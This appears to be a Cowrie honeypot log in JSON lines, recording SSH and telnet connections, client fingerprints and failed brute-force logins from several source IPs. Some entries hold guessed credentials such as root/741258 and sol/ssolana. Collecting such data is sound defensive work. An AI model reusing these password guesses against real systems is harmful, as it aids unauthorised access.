{"eventid":"cowrie.session.closed","duration":36.792380809783936,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:20.523278Z","src_ip":"192.119.13.58","session":"80b1713d5f9d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"suman123","message":"login attempt [root/suman123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:21.030002Z","src_ip":"81.9.145.130","session":"3cc161e6b84e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06656575202942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:21.417763Z","src_ip":"192.119.13.58","session":"e771c262394c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:22.147643Z","src_ip":"81.9.145.130","session":"3cc161e6b84e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58234,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c02dd41a959","protocol":"telnet","message":"New connection: 192.119.13.58:58234 (10.17.0.5:23) [session: 1c02dd41a959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:22.699703Z"}
{"eventid":"cowrie.session.closed","duration":49.15952682495117,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:23.681458Z","src_ip":"192.119.13.58","session":"4a33f61f6de0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.131502866744995,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:23.735530Z","src_ip":"192.119.13.58","session":"f3ff43bd5e8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":36956,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2b4ff1682ff","protocol":"ssh","message":"New connection: 103.164.9.74:36956 (10.17.0.5:22) [session: d2b4ff1682ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:31.233819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:31.239505Z","src_ip":"103.164.9.74","session":"d2b4ff1682ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35878,"dst_ip":"10.17.0.5","dst_port":23,"session":"c972dc140c11","protocol":"telnet","message":"New connection: 192.119.13.58:35878 (10.17.0.5:23) [session: c972dc140c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:31.300681Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:31.450525Z","src_ip":"103.164.9.74","session":"d2b4ff1682ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0okm(IJN","message":"login attempt [root/0okm(IJN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:32.321368Z","src_ip":"103.164.9.74","session":"d2b4ff1682ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:33.534671Z","src_ip":"103.164.9.74","session":"d2b4ff1682ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":49498,"dst_ip":"10.17.0.5","dst_port":22,"session":"a658e9caaed5","protocol":"ssh","message":"New connection: 115.68.226.124:49498 (10.17.0.5:22) [session: a658e9caaed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:33.801800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:33.807909Z","src_ip":"115.68.226.124","session":"a658e9caaed5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:34.022581Z","src_ip":"115.68.226.124","session":"a658e9caaed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.56596612930298,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:34.139449Z","src_ip":"192.119.13.58","session":"9e7e83de8374","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"741258","message":"login attempt [root/741258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:34.886453Z","src_ip":"115.68.226.124","session":"a658e9caaed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:36.090136Z","src_ip":"115.68.226.124","session":"a658e9caaed5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55682,"dst_ip":"10.17.0.5","dst_port":23,"session":"23f1daced7dd","protocol":"telnet","message":"New connection: 192.119.13.58:55682 (10.17.0.5:23) [session: 23f1daced7dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:36.102714Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58412,"dst_ip":"10.17.0.5","dst_port":23,"session":"b28c8b689ba5","protocol":"telnet","message":"New connection: 192.119.13.58:58412 (10.17.0.5:23) [session: b28c8b689ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:36.754142Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41288,"dst_ip":"10.17.0.5","dst_port":22,"session":"86ec28292b97","protocol":"ssh","message":"New connection: 193.32.162.145:41288 (10.17.0.5:22) [session: 86ec28292b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:37.161236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:37.167563Z","src_ip":"193.32.162.145","session":"86ec28292b97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:37.266296Z","src_ip":"193.32.162.145","session":"86ec28292b97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ssolana","message":"login attempt [sol/ssolana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:37.701453Z","src_ip":"193.32.162.145","session":"86ec28292b97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38050,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a7adf995ecd","protocol":"telnet","message":"New connection: 192.119.13.58:38050 (10.17.0.5:23) [session: 6a7adf995ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:38.661045Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:38.811247Z","src_ip":"193.32.162.145","session":"86ec28292b97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38782,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b5d028e11fe","protocol":"telnet","message":"New connection: 192.119.13.58:38782 (10.17.0.5:23) [session: 6b5d028e11fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:38.855946Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48298,"dst_ip":"10.17.0.5","dst_port":23,"session":"04d3c04102eb","protocol":"telnet","message":"New connection: 192.119.13.58:48298 (10.17.0.5:23) [session: 04d3c04102eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:41.310019Z"}
{"eventid":"cowrie.session.closed","duration":44.38105249404907,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:48.403206Z","src_ip":"192.119.13.58","session":"e5aaecfb1ac9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50742,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7fc57e02339","protocol":"telnet","message":"New connection: 192.119.13.58:50742 (10.17.0.5:23) [session: b7fc57e02339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:48.851354Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60744,"dst_ip":"10.17.0.5","dst_port":23,"session":"66f949e256c6","protocol":"telnet","message":"New connection: 192.119.13.58:60744 (10.17.0.5:23) [session: 66f949e256c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:51.281677Z"}
{"eventid":"cowrie.session.closed","duration":34.935967445373535,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:51.883429Z","src_ip":"192.119.13.58","session":"9a5b22f0ab0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.61076903343201,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:53.731680Z","src_ip":"192.119.13.58","session":"c6eb6396a019","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47192,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dd3716840c2","protocol":"telnet","message":"New connection: 192.119.13.58:47192 (10.17.0.5:23) [session: 5dd3716840c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:54.681283Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40742,"dst_ip":"10.17.0.5","dst_port":23,"session":"20598f598fc7","protocol":"telnet","message":"New connection: 192.119.13.58:40742 (10.17.0.5:23) [session: 20598f598fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:00.163334Z"}
{"eventid":"cowrie.session.closed","duration":0.00509190559387207,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:00.168309Z","src_ip":"192.119.13.58","session":"20598f598fc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46592,"dst_ip":"10.17.0.5","dst_port":23,"session":"647a7e55d08f","protocol":"telnet","message":"New connection: 192.119.13.58:46592 (10.17.0.5:23) [session: 647a7e55d08f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:01.654279Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48166,"dst_ip":"10.17.0.5","dst_port":23,"session":"f10ff75e1a20","protocol":"telnet","message":"New connection: 192.119.13.58:48166 (10.17.0.5:23) [session: f10ff75e1a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:02.045545Z"}
{"eventid":"cowrie.session.closed","duration":48.64725065231323,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:02.685526Z","src_ip":"192.119.13.58","session":"c8c460852bd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.99140214920044,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:02.690938Z","src_ip":"192.119.13.58","session":"1c02dd41a959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":48106,"dst_ip":"10.17.0.5","dst_port":22,"session":"e983315cd573","protocol":"ssh","message":"New connection: 201.249.192.30:48106 (10.17.0.5:22) [session: e983315cd573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:04.415617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:04.420791Z","src_ip":"201.249.192.30","session":"e983315cd573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.799258232116699,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:04.453423Z","src_ip":"192.119.13.58","session":"647a7e55d08f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:04.488369Z","src_ip":"201.249.192.30","session":"e983315cd573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jackson","message":"login attempt [root/jackson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:05.055438Z","src_ip":"201.249.192.30","session":"e983315cd573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:06.126034Z","src_ip":"201.249.192.30","session":"e983315cd573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.445239305496216,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:12.547848Z","src_ip":"192.119.13.58","session":"23f1daced7dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":43254,"dst_ip":"10.17.0.5","dst_port":22,"session":"be624d29fcc6","protocol":"ssh","message":"New connection: 40.83.182.122:43254 (10.17.0.5:22) [session: be624d29fcc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:17.784076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:17.790053Z","src_ip":"40.83.182.122","session":"be624d29fcc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:17.868955Z","src_ip":"40.83.182.122","session":"be624d29fcc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741258","message":"login attempt [root/741258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:18.211672Z","src_ip":"40.83.182.122","session":"be624d29fcc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:19.292448Z","src_ip":"40.83.182.122","session":"be624d29fcc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.03262424468994,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:19.786640Z","src_ip":"192.119.13.58","session":"b28c8b689ba5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37090,"dst_ip":"10.17.0.5","dst_port":23,"session":"b69c2466e380","protocol":"telnet","message":"New connection: 192.119.13.58:37090 (10.17.0.5:23) [session: b69c2466e380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:19.964041Z"}
{"eventid":"cowrie.session.closed","duration":42.73074913024902,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:21.391709Z","src_ip":"192.119.13.58","session":"6a7adf995ecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.04926919937134,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:22.905082Z","src_ip":"192.119.13.58","session":"6b5d028e11fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.14562249183655,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:24.446056Z","src_ip":"192.119.13.58","session":"c972dc140c11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35538,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d8e0821d43d","protocol":"telnet","message":"New connection: 192.119.13.58:35538 (10.17.0.5:23) [session: 1d8e0821d43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:26.218014Z"}
{"eventid":"cowrie.session.closed","duration":42.268718004226685,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:59:31.119957Z","src_ip":"192.119.13.58","session":"b7fc57e02339","protocol":"telnet"}
